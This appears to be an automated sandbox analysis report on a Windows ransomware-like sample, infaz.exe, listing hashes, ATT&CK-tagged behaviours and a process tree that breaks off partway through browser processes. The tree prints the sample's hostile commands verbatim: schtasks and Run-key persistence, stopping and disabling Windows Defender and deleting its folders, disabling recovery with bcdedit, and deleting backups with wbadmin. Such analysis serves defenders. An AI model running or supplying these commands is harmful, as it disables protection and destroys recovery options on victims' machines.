593419cbf9ed368d3cdf6b39306a477a7f67c0ead1ad04dc9d83c3ce1539bbb7

Analysis

max time kernel
150s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/11/2026, 18:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
infaz.exe
Size 1.4MB
Sample261101-wyncpsxvav
SHA256 593419cbf9ed368d3cdf6b39306a477a7f67c0ead1ad04dc9d83c3ce1539bbb7
MD5 6998906342bab703f224f7df8dcd17c0
SHA1 6c9fad17821d2f0ce959e3c911f57292df226141
SHA512 712abb2146050bac9f197dc46a0efbd1c26e4efe7f4c1faac42c9e851aef2a8b43ea08b9a9d78b89e255ea0c5f3bad1204fd334e2b3cd073ef72de3cc18e0cda
SSDEEP 24576:7Tif6hysWbIkDWYOJf82frKnHnNnjbNYYLIx5UPv:PiShysWbIkDWYOR822HrY
TLSH
T1BB659D0BA3B900EDD167D279C9065607EFB2B4051324ABDB5790CA662F23FE15F7A321
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery evasion execution exploit persistence ransomware

Malware Config

Signatures

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
5456	bcdedit.exe
2704	bcdedit.exe

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1704	wbadmin.exe
2460	wbadmin.exe

Possible privilege escalation attempt 6 IoCs

exploit

pid	Process
2932	takeown.exe
692	takeown.exe
3048	icacls.exe
1748	takeown.exe
4924	takeown.exe
2008	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4924	takeown.exe
2008	icacls.exe
2932	takeown.exe
692	takeown.exe
3048	icacls.exe
1748	takeown.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\infaz.exe"	infaz.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\infaz.exe"	infaz.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
7	discord.com
42	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1652	sc.exe
1984	sc.exe
4020	sc.exe
2608	sc.exe

Executes a command shell one-liner 1 TTPs 20 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4832	cmd.exe
4732	cmd.exe
4004	cmd.exe
6064	cmd.exe
956	cmd.exe
4908	cmd.exe
1120	cmd.exe
4168	cmd.exe
4416	cmd.exe
3692	cmd.exe
5364	cmd.exe
4524	cmd.exe
4560	cmd.exe
2688	cmd.exe
2708	cmd.exe
2356	cmd.exe
5060	cmd.exe
3980	cmd.exe
3996	cmd.exe
3064	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4020	msedge.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1300	schtasks.exe
4268	schtasks.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	4924	takeown.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1272 wrote to memory of 4560	1272	infaz.exe	88
PID 4560 wrote to memory of 1300	4560	cmd.exe	90
PID 1272 wrote to memory of 6064	1272	infaz.exe	91
PID 6064 wrote to memory of 1984	6064	cmd.exe	93
PID 1272 wrote to memory of 2688	1272	infaz.exe	94
PID 2688 wrote to memory of 4020	2688	cmd.exe	153
PID 1272 wrote to memory of 2708	1272	infaz.exe	97
PID 2708 wrote to memory of 4924	2708	cmd.exe	100
PID 940 wrote to memory of 2356	940	infaz.exe	102
PID 1272 wrote to memory of 3996	1272	infaz.exe	104
PID 2356 wrote to memory of 4268	2356	cmd.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\infaz.exe
"C:\Users\Admin\AppData\Local\Temp\infaz.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\infaz.exe" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4560
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\infaz.exe" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop WinDefend >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6064
- - C:\Windows\system32\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:1984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\system32\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:4020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:4924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3996
- - C:\Windows\system32\icacls.exe
    icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\ProgramData\Microsoft\Windows Defender" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f "C:\Program Files\Windows Defender" /r /d y >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3980
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Program Files\Windows Defender" /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Program Files\Windows Defender" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4524
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wbadmin delete catalog -quiet >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4908
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  PID:3764
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x350,0x7ffdbf40c188,0x7ffdbf40c194,0x7ffdbf40c1a0
    3⤵
    PID:4652
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1664,i,12520372477929733725,956972836995775283,262144 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=2360 /prefetch:2
    3⤵
    PID:3184
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1892,i,15454378590487782204,6811530756990579222,524288 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=2600 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4020
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2376,i,16607397133283208897,5247114028348655487,524288 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=2812 /prefetch:13
    3⤵
    PID:5008
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3640,i,8228055884691598352,7655123734368781762,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=3732 /prefetch:1
    3⤵
    PID:5552
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3644,i,2746368344208244409,11210102297501043692,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=3772 /prefetch:1
    3⤵
    PID:3280
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4324,i,648207238889923981,6184528361373355744,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=4484 /prefetch:1
    3⤵
    PID:6044
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4336,i,6905909765033108209,3079845344501997097,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=4492 /prefetch:9
    3⤵
    PID:5072
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4524,i,15972440500813130282,8772360856157663609,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=4804 /prefetch:1
    3⤵
    PID:4172
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5552,i,15594864401817048446,15115246090047757971,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=5576 /prefetch:1
    3⤵
    PID:2192
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5600,i,3355954334924775417,8663970636188877341,524288 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=3964 /prefetch:14
    3⤵
    PID:5744
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=5880,i,17651259699636908465,7725636853612464143,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=5896 /prefetch:1
    3⤵
    PID:5012
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=5852,i,6347537370318992774,7909636703480357212,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=6028 /prefetch:1
    3⤵
    PID:1144
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=6184,i,10752309973092636535,3904095361134338117,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=6208 /prefetch:1
    3⤵
    PID:3516
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=3972,i,7734676498608885154,9231107117431342437,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=5508 /prefetch:1
    3⤵
    PID:424
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=4304,i,12534715033106354333,6790231177479693984,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=6492 /prefetch:1
    3⤵
    PID:5344
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4460,i,13142173004504721198,6435223582985786613,524288 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=6508 /prefetch:14
    3⤵
    PID:4200
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6500,i,304510283882476652,18240373453263333964,524288 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=6584 /prefetch:14
    3⤵
    PID:3496
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=6232,i,10448417797911183221,11399423559203350272,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=6172 /prefetch:1
    3⤵
    PID:5584
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=7196,i,7023347695940614288,13325956031477495455,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=7192 /prefetch:1
    3⤵
    PID:1548
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7332,i,9794726487608884034,3633358757254608317,524288 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=7336 /prefetch:12
    3⤵
    PID:4724
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7512,i,4478204405884635274,504018867826476988,524288 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=7344 /prefetch:14
    3⤵
    PID:5952
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --metrics-shmem-handle=5640,i,17432768887742750882,8123413513924473213,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=5636 /prefetch:1
    3⤵
    PID:6664
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=7564,i,9890553310847695931,12049847638322180699,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=5656 /prefetch:1
    3⤵
    PID:6824
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --metrics-shmem-handle=7116,i,12530544603294126120,9644307113329670622,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=3964 /prefetch:1
    3⤵
    PID:1156
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --always-read-main-dll --metrics-shmem-handle=7796,i,15153884867059167636,9404011148063559691,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=7884 /prefetch:1
    3⤵
    PID:1724
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --metrics-shmem-handle=7792,i,9070619218209002480,1552907913932584131,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=8036 /prefetch:1
    3⤵
    PID:6180
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --metrics-shmem-handle=7684,i,147061547968312147,6296579454638695637,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=7608 /prefetch:1
    3⤵
    PID:6704
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --always-read-main-dll --metrics-shmem-handle=8392,i,15526368023358686214,3105471065791007147,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=8312 /prefetch:1
    3⤵
    PID:5484
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --always-read-main-dll --metrics-shmem-handle=8584,i,8903211348025589994,12295133289968528662,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=8432 /prefetch:1
    3⤵
    PID:6836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --always-read-main-dll --metrics-shmem-handle=8708,i,14165032922850909039,2539169058144587770,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=8724 /prefetch:1
    3⤵
    PID:1252
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --always-read-main-dll --metrics-shmem-handle=8948,i,10111731294437926720,10556604652359805487,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=8972 /prefetch:1
    3⤵
    PID:6440
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --always-read-main-dll --metrics-shmem-handle=9068,i,17950551071521667532,16676896568274622360,2097152 --field-trial-handle=2364,i,11871524022294630473,538932265567092770,262144 --variations-seed-version --mojo-platform-channel-handle=9112 /prefetch:1
    3⤵
    PID:4808
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
